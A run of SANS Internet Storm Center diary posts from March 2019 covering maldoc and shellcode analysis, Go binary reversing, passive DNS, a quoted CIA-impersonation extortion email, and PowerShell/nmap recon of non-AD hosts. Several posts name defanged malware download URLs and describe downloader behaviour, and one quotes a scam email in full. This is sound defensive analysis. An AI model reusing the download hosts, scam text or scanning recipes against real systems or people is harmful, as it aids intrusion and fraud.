Published: 2019-03-31

Maldoc Analysis of the Weekend by a Reader

This week, reader Ahmed Elshaer submitted a malicious document. Which he was later able to analyse himself:

Today we have detected a Doc File containing Macro. I would like to share with you my analysis for this file using tools made by Mr. Didier Stevens.

By checking the File we can see it have 3 Important Streams as shown in the picture below.

After looking in at Stream 16 as follows I found it doesn’t have any interesting Strings or Code.

But I found it calling a VBA Document “YAA_AQD” which you can see in the List of streams in the first Picture.
I tried to run strings on the file and indeed I found a base64 encoded string that is being feed to powershell command, but I found a better way to detect it using  a plugin called “plugin_stream_o.py” also provided by Didier Stevens.

As you can see this plugin was able to detect and parse the 20th stream which contained a Powershell command with encoded base64.

Piping this output to “base64dump.py” can easily decode it.

Now we are able to see the powershell script which will execute andwe can see it tries to reach the below website and download a malware and name it as 533.exe

Malware Domain: hxxp:// nalfonsotriston[.]city/2poef1/j.php?l=pleid10.fgs
Downloaded File in user profile: 533.exe



Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2019-03-30

"404" is not Malware

Reader Chris submitted a PowerShell log. These are interesting too. Here's what we saw:

A typical downloader command.

When I tried to download this using wget and the URL, I got a 404 page.

Next, I did a search for the URL on the free version of VirusTotal:

The URL has some detections. But more important: there is a link to the downloaded file. this can help me to find the actual malware that was downloaded:

Notice that the detection is 0, but that it has a very low community score. It's a very small file: 564 bytes.

And it turns out to be HTML:

This time, VirusTotal too can't help me to identify the file: the hash of that small HTML file is the same as the hash of the file I downloaded. It's also a 404.

It's something that happens more on VirusTotal: "404" downloads being scored as malware.

That doesn't mean that the initial file (PowerShell script) wasn't malware. But what was actually downloaded, wasn't malware, but a 404 file. Probably because the compromised server was cleaned.



Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2019-03-29

Annotating Golang binaries with Cutter and Jupyter

In my previous post we've gone through some of the basics of analysing Golang binaries. This post will annotate source path and line information to the disassembly in Cutter. If you're not familiair with Cutter, it is the Qt bases frontend for Radare2. 

Adding source path and line information for disassembled instructions makes it much easier to interpret and analyse the binaries. It will add a lot more context to the binary. If you want to play with the notebook, you' can download the notebook here. Later the notebook can be converted to a plain python script / plugin, making it easier to use within Radare2 or Cutter as a plugin. 

Inside Cutter there is a tab to start Jupyter, which contains a link to open the Jupyter session. In the first cell we connect to the active Cutter session, assuming the Golang binary has been opened and analysed already.

Communication with Cutter is being done using r2pipe, executing radare2 commands returing json. To retrieve information about sections in the binary, we execute command iSj. Suffixing commands with a j will return json output, making it easier to use within python. The returned section information will be be stored in a map, with size and vaddr information for later reference.

The interesting bits are located in the .gopclntab section, this section contains the source path and line information per address. The .gopclntab section documentation can be found here. Next we'll walk through the section, verifying the magic bits, extract the configuration and table size.

Defining a method file_table, which will be used to lookup indexes in the file_table and return the corresponding path. 

Now we can walk through the actual table. The table consists of a pair of a program counter and a function offset. Each function is being described in detail at the function offset, containing information about arguments, function name, arguments, path and line information. 

Using r2.cmd we can use the command CCu, which will add comments at the specified address. Executing the cell shows information about the program counters found and their corresponding source lines.

Switching back to Cutter again, you'll see that specific addresses now have comments with the source location for the address.

Please share your ideas, comments and/or insights, with me via social media, @remco_verhoef or email, remco.verhoef at dutchsec dot com. Have a great day!

Remco Verhoef (@remco_verhoef)
ISC Handler - Founder of DutchSec


Published: 2019-03-27

Running your Own Passive DNS Service

Passive DNS is not new but remains a very interesting component to have in your hunting arsenal. As defined by CIRCL, a passive DNS is "a database storing historical DNS records from various resources. The historical data is indexed, which makes it searchable for incident handlers, security analysts or researchers". There are plenty of existing passive DNS services: CIRCL[1], VirusTotal, RiskIQ, etc. I’m using them quite often but, sometimes, they simply don’t have any record for a domain or an IP address I'm interested in. If you’re working for a big organization or a juicy target (depending on your business), why not operate your own passive DNS? You’ll collect data from your network that will represent the traffic of your own users.

The first step is to collect your DNS data. You can (and it’s highy recommended) log all DNS queries performed by your hosts but there is a specific free tool that I use to collect passive DNS data: passivedns[2]. It's a network sniffer that collects all DNS answers and log them. So, not intrusive and low footprint. The tool is quite old but runs perfectly on recent Linux distros.

AFAIK, it is not available in classic repositories and you'll have to compile it. I recommend to activate the JSON output format (not enabled by default):

sansisc# ./configure --enable-json
sansisc# make install

Note: You will probably need some dependencies (libjansson-dev, libldns-dev libpcap-dev)

Once compiled, run it with the following syntax:

sansisc# /usr/local/bin/passivedns -D -i eth1 -j -l /var/log/passivedns.json

Note: In the command above, I assume that you already get a mirror of your traffic on eth1. My passivedns process is running on my SecurityOnion instance.

A few seconds later, you should see interesting data stored in /var/log/passivedns.json:


The output has been reformated for more readibility. You have 1 JSON event per line in the log file.

The next step is to process the file. passivedns comes with some scripts to store data in a local db and perform some queries. In my case, I prefer to index the log file in my Splunk (or ELK, or … name your preferred tool). Here is an Splunk query example to search queries containing “sans.:

index=passivedns query=“*sans.*"
| stats earliest(timestamp_s) as start, latest(timestamp_s) as stop by query,answer 
| eval first_seen=strftime(start, "%d/%m/%Y %H:%M:%S") 
| eval last_seen=strftime(stop, "%d/%m/%Y %H:%M:%S") | fields - start - stop

Passive DNS is a nice alternative to the regular collection of DNS logs, if you can't have access to the DNS logs because your System Admin is not cooperative (yeah, this happens!). You can search your passive DNS data with malicious DNS from a threat intelligence tool like MISP. The following query will search for malicious domains extracted from MISP for the last month and which IP address performed the query. This query should NOT return any record otherwise, it's time to investigate.

[|mispgetioc last=30d category="Network activity" type="domain"| rename misp_domain as query | table query]
| stats earliest(timestamp_s) as start, latest(timestamp_s) as stop by client, query
| eval first_seen=strftime(start, "%d/%m/%Y %H:%M:%S") 
| eval last_seen=strftime(stop, "%d/%m/%Y %H:%M:%S") | fields - start - stop

Note: mispgetioc is a project available on GitHub that allow querying the MISP API from Splunk[3].

Not yet convinced? Do not hesitate to deploy such a tool in your networks. And you? Do you collect passive DNS data? Please share your ideas/comments!

[1] https://www.circl.lu/services/passive-dns/
[2] https://github.com/gamelinux/passivedns
[3] https://github.com/remg427/misp42splunk

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2019-03-25

"VelvetSweatshop" Maldocs: Shellcode Analysis

Saturday's diary entry "VelvetSweatshop Maldocs" is a reminder that Excel spreadsheets encrypted with password "VelvetSweatshop" are opened with Excel without prompting the user for a password.

The streams inside the ole file do not contain macros, but there is a stream with name 'EqUATIoN NATiVE':

Peeking at the content of this stream, I see that it starts with 1C00:

This is the size of the "Equation OLE" header, as I explained in diary entry "Dissecting a CVE-2017-11882 Exploit". Such exploits can contain a short command, or shellcode. Looking at the strings, no command can be seen:

There's not a single intelligible string, not even a URL. It's probably encoded shellcode. This time, instead of dissecting this exploit like I did in the diary entry I mentioned earlier, I'm trying to find the shellcode quickly with xorsearch. Option -W uses xorsearch's build in signatures to find 32-bit shellcode:

At position 0x75, without any encoding (XOR 0x00), a typical get EIP shellcode instruction was found. I'm going to test if this is indeed shellcode with the shellcode emulator scdbg. For this, I need to store the shellcode inside a file:

And then I can try the shellcode emulator (-foff 75 sets the entrypoint of the shellcode: offset 0x75 was found with xorsearch):

This confirms that I found shellcode. First this shellcode calls GetProcAddress to lookup the address of ExpandEnvironmentStringsW (passed as a string argument), and then it calls ExpandEnvironmentStringsW. The emulation stops here, as the shellcode emulator does not hook this API call (e.g. it does not support this API call).

The shellcode has decoded itself, and string ExpandEnvironmentStringsW was decoded. I can dump the decoded shellcode to a file with option -d:

The decoded shellcode is written to file shellcode.unpack, and (most likely) starts at decimal position 833, because that's where the shellcode was modified:

And indeed, I can see many ASCII and UNICODE strings in this decoded shellcode (including ExpandEnvironmentStringsW):

I see a filename (%PUBLIC%\vbc.exe) and a path (/dfxjj), but no URL, domain name or IPv4 address. It's clear from the strings found in this shellcode, that it is a downloader. But I need to figure out from where it downloads its payload. I continue my shellcode analysis, first I extract the modified (decoded) shellcode:

This is indeed shellcode:

The emulator stops at the call for ExpandEnvironmentStringsW, because this API call is not hooked. I'm checking this: option -hooks lists all hooked calls:

Grepping for string "expand", I confirm that ExpandEnvironmentStringsW is not hooked, but ExpandEnvironmentStringsA is:

ExpandEnvironmentStringsW is the UNICODE version, and ExpandEnvironmentStringsA is the ASCII version. I'm going to use the following trick: I'm going the replace string ExpandEnvironmentStringsW with ExpandEnvironmentStringsA in the shellcode. In real code, this would not yield the result wanted by the malware author, but with this emulator, I hope it will continue running and this might give me then more information to figure out what this shellcode is doing.

I can patch the shellcode in memory before execution. First I need to figure out to position of character W:

It's at hexadecimal position 0x77: I'm using option -wstr to overwrite W with A, and then emulate the shellcode:

My trick worked: although the environment variable expansion didn't work, the emulator continued with its emulation, and I can now see that this downloader connects to host gg[.]gg and requests path /dfxsv.

This was actually right in front of my nose when I looked at the strings of the decoded shellcode, but I did not recognize the string for domain gg[.]gg:

This shellcode downloads from hxxp://gg[.]gg/dfxsv, it's an URL shortener:

The downloaded PE file is TrickbotLokibot.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2019-03-24

Decoding QR Codes with Python

In diary entry "Sextortion Email Variant: With QR Code", I had to decode a QR code. I didn't mention it in my diary entry, but I used an online service to decode the QR Code (I didn't want to use my smartphone).

But what if you don't want to use any online service?

You can also use a Python module: python-qrtools. I installed it on Ubuntu 18 with the following command:

sudo apt-get install python-qrtools

And then I used a simple Python program like this one:

import sys
import qrtools

qr = qrtools.QR()

We received the sextortion email with QR code as a .msg file. These files can be analyzed with oledump.py:

Plugin plugin_msg can help with locating the streams that contain the attachments (images):

The beginning of the content of the attachment data streams indicates that these are .png files: \x89PNG.

Grepping for PNG reveals that stream 3, 11 and 19 contain the .png files:

Extracting the .png attachments to disk:

Decoding the QR code:

Images 1 and 2 don't contain a QR code (False), but image 3 does (True), and the Bitcoin address is displayed.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2019-03-23

"VelvetSweatshop" Maldocs

Encrypted Excel documents can be opened without entering a password, provided the password is "VelvetSweatshop".

There was a new wave of Excel maldocs encrypted with this password. MD5 3e55d5355bb56f5a5d91dd6961fa232a is one of them.

Looking a encrypted Office documents with oledump.py, you'll see the following streams:

If it's encrypted with a common password, you can use msoffcrypto-crack.py to recover the password:

And then you can save the decrypted Office document. Here I'm piping it again into oledump.py:

In a coming diary, I'll analyze the shellcode in this document.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2019-03-22

Introduction to analysing Go binaries

Golang is gaining popularity by malware authors, and more golang based malware is being found in the wild. It is also one of my favourite programming languages, especially for all network related applications, for the reasons of:

  • the language syntax itself is simple, but you can do everything with it
  • binaries are being compiled statically, no need to install libraries
  • support for many operating systems and architectures
  • statically typed
  • goroutines (light weight threads)
  • channels (pipes using which goroutines communicate)

And my most important reason is that code I've created years ago, still compiles without the need to update or refactor the code to the newer compilers and language versions.  

Due the popularity of Golang by malware authors, we need more often to analyse these binaries and they are a bit different. Let me give you some primers.

Let's start first with a Hello World Golang application first, to give you an idea about the language and the structure.

package main

import "fmt"

func main() {
        fmt.Println("Hello World")

It starts with a package name, all files in the same folder will have the same package name. In this case main. Next we'll configure the imports, in this case the fmt library. Go is very struct and only allows imports that are being used. The main entry point is always called main. Now the code can be compiled for different architectures using the following command:

$ GOOS=linux GOARCH=amd64  go build -o hello ./hello.go 


Go compiled binaries are large, the Hello World example in this case is 1.9M. Now we know the basics, we can start analysing a real malware named sshd, which someone delivered kindly to our honeypots. Because of the large binaries, upx is being used often to suppress the file size. By default upx compress files can be decompressed using:

$ upx -d ./sshd 


When loading the binary into your favourite disassembler, you'll find many functions and strings. Most of those functions and strings are from default Go packages. If you have an address of a function start, the golang tool addr2line will come in handy. Addr2line uses the gopclntab section to retrieve data about the original function name, source file and locations. You'll probably encounter cases where the location of the source file contains the username in its path. 

$ echo "0x0062cd40" | go tool addr2line ./sshd


There is also objdump which will output symbols and source locations together with assembly code if possible:

$ go tool objdump -s main ./vv 

  vv.go:321             0x6128e5                e8b6e9ffff              CALL main.post(SB)
  vv.go:321             0x6128ea                488b442418              MOVQ 0x18(SP), AX
  vv.go:321             0x6128ef                488b4c2420              MOVQ 0x20(SP), CX
  vv.go:322             0x6128f4                48890424                MOVQ AX, 0(SP)
  vv.go:322             0x6128f8                48894c2408              MOVQ CX, 0x8(SP)
  vv.go:322             0x6128fd                e86ee7ffff              CALL main.rsaDecrypt(SB)
  vv.go:322             0x612902                488b442410              MOVQ 0x10(SP), AX
  vv.go:322             0x612907                488b4c2418              MOVQ 0x18(SP), CX
  vv.go:323             0x61290c                48890424                MOVQ AX, 0(SP)
  vv.go:323             0x612910                48894c2408              MOVQ CX, 0x8(SP)
  vv.go:323             0x612915                e896feffff              CALL main.jsonload(SB)
  vv.go:323             0x61291a                488d742410              LEAQ 0x10(SP), SI
  vv.go:323             0x61291f                488d7c2440              LEAQ 0x40(SP), DI


Strings in the binary are not null terminated, but instead all concatenated to long strings. When strings are being referenced to, a following instruction will load the length. The instruction lea rax, ... loads the string reference, where the following instructions defines the length of the string to load, in this case 7 and makes it the string /bin/sh. In later Golang version this has been changed, as I believe, which I'll get back to in a later post.


Objects are being instantiated using runtime_newobject, taking a structure pointer as argument. The definition of the struct is being defined in the .typelink section of the binary. 


Version information in the binary can be found by searching for go1, which function runtime_schedinit references to. 


The call to sym.runtime.morestack_noctxt will resize the stack, as Go makes use of resizable stacks, then it will return to the start of the function, this pattern marks also the end and start of the function. 


This was just a quick overview of Golang binaries, more to follow. Please share your ideas, comments and/or insights, with me via social media, @remco_verhoef or email, remco.verhoef at dutchsec dot com. Have a great day!

Remco Verhoef (@remco_verhoef)
ISC Handler - Founder of DutchSec


Published: 2019-03-21

New Wave of Extortion Emails: Central Intelligence Agency Case

The extortion attempts haved moved to another step recently. After the “sextortion” emails that are propagating for a while, attackers started to flood people with a new type of fake emails and their imaginnation is endless... I received one two days ago and, this time, they go one step further. In many countries, child pornography is, of course, a very strong offense punished by law. What if you received an email from a Central Intelligence Agency officer who reveals that you’re listed in an international investigation about a case of child pornography and that you’ll be arrested soon? Hopefully, the agent is a “nice guy” and, if you pay $10K in Bitcoin, he will be happy to delete your name from the list of bad guys?

Here is a copy of the received email:

From: "Huey Ferguson" <hueyferguson@wysa.cia-us-govn[.]ga>
To: <redacted>
Subject: Central Intelligence Agency Case 61587423

Case #61587423
Distribution and storage of pornographic electronic materials involving
underage children.

My name is Huey Ferguson and I am a technical collection officer working for
Central Intelligence Agency.

It has come to my attention that your personal details including your email
address (<redacted>) are listed in case #61587423.

The following details are listed in the document's attachment:

- Your personal details,
- Home address,
- Work address,
- List of relatives and their contact information.

Case #61587423 is part of a large international operation set to arrest more
than 2000 individuals suspected of paedophilia in 27 countries.

The data which could be used to acquire your personal information:

- Your ISP web browsing history,
- DNS queries history and connection logs,
- Deep web .onion browsing and/or connection sharing,
- Online chat-room logs,
- Social media activity log.

The first arrests are scheduled for April 8, 2019.

Why am I contacting you ?

I read the documentation and I know you are a wealthy person who may be
concerned about reputation.

I am one of several people who have access to those documents and I have
enough security clearance to amend and remove your details from this case.
Here is my proposition.

Transfer exactly $10,000 USD (ten thousand dollars - about 2.5 BTC) through
Bitcoin network to this special bitcoin address:


You can transfer funds with online bitcoin exchanges such as Coinbase,
Bitstamp or Coinmama. The deadline is March 27, 2019 (I need few days to
access and edit the files).

Upon confirming your transfer I will take care of all the files linked to
you and you can rest assured no one will bother you.

Please do not contact me. I will contact you and confirm only when I see the
valid transfer.

Huey Ferguson
Technical Collection Officer
Directorate of Science and Technology
Central Intelligence Agency

The mail includes also several times the same logo in a very poor quality:

Note also that pedophilia is written as “paedophilia”[1] (which is an alternative spelling but not usual). The only relevant information found about Huey Ferguson is coming from ca.gov[2].

Here is a copy of the SMTP headers:

Return-Path: <hueyferguson@wysa.cia-us-govn.ga>
X-Original-To: <redacted>
Delivered-To: <redacted>
Received: by <redacted> (Postfix, from userid 65534)
    id 1270B1A8008F; Mon, 18 Mar 2019 21:54:15 +0100 (CET)
Received: from mx.wysa.cia-us-govn.ga (mx.wysa.cia-us-govn.ga [])
    (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
    (No client certificate requested)
    by <redacted> (Postfix) with ESMTPS id 2AB631A80088
    for <redacted>; Mon, 18 Mar 2019 21:54:14 +0100 (CET)
Received: from [] (mx.wysa.cia-us-govn.ga [])
    by mx.wysa.cia-us-govn.ga (Postfix) with ESMTP id 44NT1t4GJLz2nKD
    for <redacted>>; Mon, 18 Mar 2019 20:54:10 +0000 (UTC)
Date: Mon, 18 Mar 2019 20:54:09 +0000
From: "Huey Ferguson" <hueyferguson@wysa.cia-us-govn.ga>
To: <redacted>
Subject: =?UTF-8?Q?Central=20Intelligence?==?UTF-8?Q?=20Agency=20-?= =?UTF-8?Q?=20Case=20#61587423?=
List-Unsubscribe: <http://wysa.cia-us-govn.ga/unsubscribe/WFFUV2c0bUl2ZkV3TCt6aXdBQkY1cWNNZ3Y4Z0EzbytueUxWQ1hsY3M5ZjF3dktzdXRiRUpWZ2FMZ0xDMkphRUlQVzZkYjI2cVhVcHlrNHRRc2hxUDRwbEordHdtYnBOUGpvNVpRL0RNVkU9>
Reply-To: <hueyferguson@wysa.cia-us-govn.ga>
User-Agent: Postfix 3.3.11
X-Sender: hueyferguson@wysa.cia-us-govn.ga
X-Mailer: Postfix 3.3.11
X-Priority: 3 (Normal)
Message-ID: <5c900571eee4c@wysa.cia-us-govn.ga>

The email address uses a domain name with the .ga TLD (Gabon, Africa) but does not exist. The SMTP server is located at OVH, Canada (%%ip: 

As usual with this kind of emails, same conclusion: just delete them and do not pay! But feel free to report more Bitcoin addresses to us!

[1] https://www.urbandictionary.com/define.php?term=paedophilia
[2] https://appellatecases.courtinfo.ca.gov/search/case/dockets.cfm?dist=0&doc_id=2266518&doc_no=S251894&request_token=NiIwLSIkXkg%2FWyBVSCNdUEJIQDw0UDxTJiJOJzNSMCAgCg%3D%3D

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2019-03-20

Using AD to find hosts that aren't in AD - fun with the [IPAddress] construct!

In many internal assessments or "recon mission" style engagements, you'll need to figure out what all the internal subnets are before you can start assessing that address space for issues, targets or whatever you are looking for in that project.  Or, as I had this week, the request was for enumeration of all the hosts that AREN'T in AD.

In many environments, the DHCP server is quick to find, and you can dump the scopes out Easy as Pi (or pie if you prefer) - we covered this a while back: https://isc.sans.edu/forums/diary/DNS+and+DHCP+Recon+using+Powershell/20995/

But say the DHCP servers are dispersed throughout the environment, it's still pretty common to see DHCP servers in each remote location for instance.  Or if you have subnets that don't have a DHCP scope.  How can you enumerate those remote subnets?

Well, you could certainly hijack the routing protocol and dump the routing table, but that's often a tough thing to get permission for.  

How about from the individual host entries in AD?  The IP address is listed there, and in a lot of shops you can assume a /24 for all subnets.  Or if not, larger subnets will just show up as contiguous /24's in your list if you make that assumption.  How does this look like in Powershell?

Let's start by collecting all the IPv4 addresses in play.  This is a "quick and dirty" collection, and will only collect the "first" adapter if  you have any multi-homed windows windows hosts.  We'll start with our old pal "get-ADComputer"

$addrs = get-adcomputer -filter * -property IPV4Address

Now, there are a ton of ways to get the /24's from this list, but since I'm lazy I'll use the "[IPAddress]" construct in PowerShell.  Let's take one element in the list above, and cast it into the "IPv4Address" type, then look at what's there:

[IPAddress] $addrs[6].IPv4Address

Address            : 873890058
AddressFamily      : InterNetwork
ScopeId            :
IsIPv6Multicast    : False
IsIPv6LinkLocal    : False
IsIPv6SiteLocal    : False
IsIPv6Teredo       : False
IsIPv4MappedToIPv6 : False
IPAddressToString  :

Perfect, that "Address" member is a straight numeric representation of the IP, and we can do a binary mask of it with the "-band" operator:

[ipaddress] ((([Ipaddress] $pcs.ipv4address[6]).address -band ([Ipaddress] "").address))

Address            : 1474826
AddressFamily      : InterNetwork
ScopeId            :
IsIPv6Multicast    : False
IsIPv6LinkLocal    : False
IsIPv6SiteLocal    : False
IsIPv6Teredo       : False
IsIPv4MappedToIPv6 : False
IPAddressToString  :

That final member, IPAddressToString is the final value we want top use going forward!  Let's add "/24" to that, and dump it to a file.  Cleaned up, with a bit of error checking, our final code looks like:

$pcs = get-adcomputer -filter * -property IPV4Address
$subnets = @()
foreach ($addr in $pcs.ipv4address) {
    if ($addr.length -ne 0) {          # because lots of $pcs will have a null address
        $sub = [ipaddress] ((([ipaddress] $addr).address -band ([Ipaddress] "").address))
        $subnets += $sub.IPAddressToString + "/24"
$subnets | sort | get-unique > subnets.csv

But what if we wanted just the AD members?  That's easy:

$pcs.ipv4address | sort > AD-hosts.csv

Or just the IP Addresses that are *NOT* AD?  This one is particularly useful in finding things on the network that may have been "flying under the radar" - computers that don't belong to the company for instance, or gear that was purchased by other departments.  Or even gear that was purchased by IT, but never properly inventoried so is now "lost".  Or (perish the thought) malicious hosts!

$targetnets = $subnets | sort  | get-unique
$domainips = $pcs.ipv4address | sort | get-unique
$NonADIPs = @()

foreach ($t in $targetnets) {
    $netbits = $t.Substring(0,($t.length-4))
    for ($hostbits = 1; $hostbits -le 254; $hostbits++) {
        if ( -not $domainips.contains($netbits+$hostbits)) {
            $NonADIPs += ($netbits+$hostbits)
$NonADIPs > non-adips.csv

Next step?  Now that we have these lists, take the file of choice and dump it into nmap.  For instance, using the "nonad-ips.csv" file will scan any hosts that are not AD members.
for a simple ping scan:

nmap --open -sn -iL non-adips.csv -oA non-adips.pingscan

or for a simple tcp port scan (note that this not a scan of all ports):

nmap --open -Pn -iL non-adips.out -oA non-adips.scanned

or, if you are looking for non-firewalled windows hosts that aren't AD members (this is one of the concerns that had me writing this in the first place)

nmap -p445,139 --open -Pn -iL nonadips.out -oA nofw-win-non-ad.scanned

Pretty this up as needed - maybe add "--top-ports n" for the top "n" ports, or "-p0-65535" for all ports, but the defaults give you decent coverage to "see what's out there" fairly quickly.  Or if you're looking for something more specific, maybe non-ad hosts with SMBv1 enabled, run

nmap -p445,139 --open -Pn -iL nonadips.out --script smb-protocols.nse -oA nofw-win-non-ad-smb1.out

Then filter the output for just the problem children with:

type smb1.out.nmap | grep "scan report\|SMBv1"

Of course, you can use the subnets file for a more complete scan (which will include AD members), or you could also use the ad-hosts file to scan only AD members for whatever today's target of interest might be.

Or if you (or your client) is in a hurry, use MASSCAN (don't forget to use that bandwidth limiter!!!).  Play with the rate value a bit so that you end up with decent scan results without saturating any WAN or VPN links.  

Using a faster scanner means that you can maybe also scan the complete tcp port range, depending on your time budget and requirements:

masscan -p0-65535 --rate=1000 -iL non-adips.out -oX scan.out.xml

Note that you can still use --top-ports in masscan, so if you only want to hit the top 1000 ports, use "--top-ports 1000" in your final command.  

Finally, no matter what scanner you use, if you have enough information and enough bandwidth you can usually run multiple scans at different rates, depending on the architecture of the network.

If you're digging a bit deeper, of course you can take those same lists and use them as input to Nessus, OpenVAS or any other tool that you have in your arsenal, or whatever tool, script or playbook you may need to write that day.

Note that in any consulting engagement, time matters!  While your scanner is running, you should be off doing other things, not drinking coffee waiting for that scan to finish.  If this is an internal penetration test, you should be off getting domain admin and will likely have obtained all of your engagement targets by the time the scan finishes.  If this is an assessment, the subnet list will be useful, but most likely your final report will be mostly done by the time the scan wraps up - - or 90%-ish done if you needed those scan results for something specific, or if the scans find something surprising.

Keep in mind that this method will only find subnets that AD knows about directly.  So if you've got subnets that are dedicated to non-AD members - things like IP Phones, scales, shipping printers, scanners and the like (stuff that we call "IoT" these days), those subnets are "ships in the night" to AD.  You might find them using DNS or DHCP recon ( https://isc.sans.edu/diary/DNS+and+DHCP+Recon+using+Powershell/20995 ), or you may need to look at actual routing tables for that (stay tuned for that).

Back to the PowerShell bits, the final scripts above are the ones I've been using for a while, mostly because they took all of 20 minutes to bust out, and they work well and "fast enough" for me, so I never did optimize them further.  I'm sure that there's a one-liner here or there that you could use to make it more efficient - please, use our comment form if you've got some suggestions there!  Or if you've found something spectacular with a portscan that didn't show up in the get-adcomputer list (we all have I'm sure), we're all kinds of interested in that too!!

Rob VandenBrink


Published: 2019-03-18

Wireshark 3.0.0 and Npcap: Some Remarks

I received a couple of questions regarding Wireshark and Npcap.

First of all, it's not a requirement to install Npcap if you want to upgrade to Wireshark 3.

You can just deselect the toggle to install Npcap:

And then Wireshark 3 will use WinPcap (installed with prior versions of Wireshark).

If you go to Help / About Wireshark, you can see what capture library is currently used by Wireshark on Windows:

Actually, you don't even have to install a packet capture library on the Windows machine you install Wireshark on, as long as you don't have to capture packets with Wireshark on that machine.

WinPcap is no longer maintained, and that is reflected in the version that comes bundled with Wireshark 2:

It dates from 2013.

Johannes also remarked that the Npcap license allows free use of Npcap on up to 5 Windows machines. If you have more in your organisation, you need to obtain a commercial license:

The standard version is also limited to installation on five systems.

However, there is an exception for Wireshark (and Nmap)

Copies of Npcap do not count toward the five copy, five computer, or five user limitations imposed by this section if they are installed and used solely in conjunction with any of the following software:

o The Nmap Security Scanner, as distributed from https://nmap.org

o The Wireshark network protocol analyzer, as distributed from https://www.wireshark.org/

If you install Wireshark with Npcap, and you use Npcap exclusively with Wireshark and/or Nmap, then the standard license still applies even with more than 5 machines.


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2019-03-17

Video: Maldoc Analysis: Excel 4.0 Macro

In this video, I provide more context to diary entry "Maldoc: Excel 4.0 Macros" by showing how to distinguish VBA and Excel 4.0 macros.

Then I proceed with the analysis of the Excel 4.0 macro sample.


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2019-03-16

Maldoc: Excel 4.0 Macros

I've received several samples of malicious spreadsheets with Excel 4.0 macros over the last weeks, like this one: 7df15be35bd8fd1a98adc24e6be7bfcd.

Excel 4.0 macros predate VBA. When you take a look with oledump.py, you will notice that these spreadsheets do not contain streams with VBA code:

To check if a spreadsheet contains Excel 4.0 macros, you can use plugin plugin_biff with option -x (xlm, e.g. Excel 4.0 macros):

When a spreadsheet contains Excel 4.0 macros, you will get output like in the screenshot above:

  • There's a hidden Excel 4.0 macro sheet
  • There's a cell with label Auto_Open to achieve automatic execution upon opening of the spreadsheet (and clicking away the warnings)
  • There's a formula with a call to the EXEC function
  • In this sample the command executed by the EXEC function is concatenated from string fragments: msiexec is started to download and execute a msi file


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2019-03-15

Binary Analysis with Jupyter and Radare2

Jupyter has become very popular within the data science community, as it is an easy way of working interactively with Python, R and other languages. Within Jupyter you'll create a notebook, which contains (live) code, visualisations and markdown. It is being used for data processing, numerical simulations, modelling, data visualisation, machine-learning and let's reverse engineering to this. 

If you combine Radare2 together with Jupyter, you'll have an interactive way of working with your binaries. You'll be able to execute individual steps, change them and re-execute, helping you with your analyses flow. What I really like about working with radare2 from within a notebook, is that all steps are being documented, registered and could be changed and re-run easily. Combining Radare2 possibilities with all that come with Jupyter is powerful beyond imagination. 

There's a docker image that can be used, surprisingly nl5887/radare2-notebook which contains jupyter-notebook with radare2 build on top. Cutter, the gui frontend of radare2 has also Jupyter support built-in, which can be used also.

To start the image run the following, which wil start jupyter while exposing ports 8888 (jupyter) and 6006 (tensorboard).

docker run -p 8888:8888 -p 6006:6006 -v $(pwd)/notebooks/:/home/jovyan/ nl5887/radare2-notebook 

The output will show the url that needs to be used to connect to the notebook. This url contains a token that is being used to authenticate to Jupyter. 

Let's start with a simple notebook, that will extract (potentially) interesting IOCs out of a linux malware binary. Notebooks consists of different cell types, which could be markdown or code. We'll use a Python kernel with Jupyter, though many other languages are supported. Every code block is created as a separate cell.

    # if using jupyter within cutter, use the following. This will use the current active binary.
    import cutter
    # we'll assign cutter to variable r2 to be consistent with r2pipe
    r2 = cutter
except ModuleNotFoundError as exc:
    # using r2pipe to open a binary
    import r2pipe
    r2 = r2pipe.open("/home/jovyan/radare2/malware/vv")

Now we've created a r2pipe session with binary, we'll start basic analyses. We can use Jupyter magic commands, like  %time to get information about timings etc.

%time r2.cmd('aaa')

The binary has been analysed, now we can output information about the binary.


If you append the character to the command, radare2 will output as json. The code below will parse the json information, pretty print it and extract the arch out of the structure.

from pprint import pprint
r = json.loads(r2.cmd('ij'))

This is all we need to know to build a simple IOC extractor, this cell will walk through all found string references and check it against some matchers. If it identifies ip addresses, urls, ansi output or email addresses, they'll be outputted. 

import r2pipe
import json
import struct
import re
import base64
from pprint import pprint, pformat

IP_MATCHER = re.compile("(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(?:[:]\d+)?)")
URL_MATCHER = re.compile('(?:(?:https?|ftp|file)://|www\.|ftp\.)[-A-Z0-9+&@#/%=~_|$?!:,.]*[A-Z0-9+&@#/%=~_|$]', re.IGNORECASE)
EMAIL_MATCHER = re.compile('([A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4})', re.IGNORECASE)

def regex_matcher(matcher):
    return lambda st: matcher.findall(st)

def contains_matcher(s):
    return lambda st: [st] if s in st else []
matchers = [regex_matcher(IP_MATCHER), regex_matcher(URL_MATCHER), regex_matcher(EMAIL_MATCHER), contains_matcher('\\e['), contains_matcher('HTTP')]

def print_s(s, r):
    print('0x{:08x} 0x{:08x} {:10} {:4} {:10} {}'.format(s.get('paddr'), s.get('vaddr'), s.get('type'), s.get('length'), s.get('section'), r))

strings = json.loads(r2.cmd('izj'))
for s in strings:
        st = base64.b64decode(s.get('string')).decode(s.get('type'))

        for matcher in matchers:
            matches = matcher(st)
            for match in matches: 
                print_s (s, match)
    except ValueError as e:
        # print(e)
    except LookupError as e:
        # print(e)

Giving this output:

0x0010c3be 0x0050c3be ascii        15 .rodata    \e[01;32mresumed
